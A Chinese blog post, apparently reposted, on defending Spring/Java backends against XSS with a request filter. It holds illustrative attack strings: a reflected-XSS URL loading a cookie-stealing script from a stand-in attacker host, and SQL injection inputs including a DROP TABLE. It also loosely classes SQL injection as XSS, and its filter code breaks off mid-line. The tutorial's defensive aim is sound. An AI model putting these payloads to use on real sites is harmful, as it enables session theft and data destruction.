如何有效预防XSS?这几招管用

原文链接

预防XSS,这几招管用

最近重温了一下「黑客帝国」系列电影,一攻一防实属精彩,生活中我们可能很少有机会触及那么深入的网络安全问题,但工作中请别忽略你身边的精彩

fire-and-water-2354583_1920.jpg

大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:

Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。 攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。 截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了所有安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。

XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案

XSS 案例

不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条?

案例一

Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登录的记录。

Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:

  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。
  2. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为 http://bobssite.org/search?q=puppies 这是完全正常的行为。
  3. 但是,当她提交异常搜索查询时,例如 <script type ='application / javascript'> alert('xss'); </ script>
    • 出现一个警告框(表示“xss”)。
    • 该页面显示“未找到”,以及带有文本“xss”的错误消息。
    • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 这是一个可利用的行为

Mallory制作了一个利用此漏洞的URL:

  1. 她创建了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。她选择使用百分比编码 encode ASCII字符,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,这样读者就无法立即破译这个恶意 URL
  2. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”

Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)

authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器

Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。

Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。

Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。

案例二

当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。
请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。 该变量是从用户输入(getRequestString)获取的:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

当用户输入 userId = 105 OR 1=1,这时 SQL 会是这个样子:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

OR 条件始终为 true,这样就有可能获取全部用户信息
如果用户输入 userId = 105; DROP TABLE Suppliers ,这时 SQL 语句会是这样子

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

这样 Suppliers 表就被不知情的情况下删除掉了

通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:

  1. 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)
  2. 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)
  3. 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 “#” 千万不要乱用 了解这些小细节
    本文主要提供第 2 种方式的解决方案

解决方案

先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?

文末关注公众号,带你像读侦探小说一样趣味学习 Java 技术

Spring AOP

使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点?),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?

HttpMessageConverter

请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter 并重写 readInternal 方法:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
   
    return super.readInternal(clazz, inputMessage);
}

获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?

Filter

Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章
我们有两种方式自定义我们的 Filter

  1. 实现 javax.servlet.Filter 接口
  2. Spring 环境下继承 org.springframework.web.filter.OncePerRequestFilter 抽象类
    这里采用第二种方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
   
	@Override
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
   
		String userInput = request.getParameter("param");
		if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
   
			throw new RuntimeException();
		}
		String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
		if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody)
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值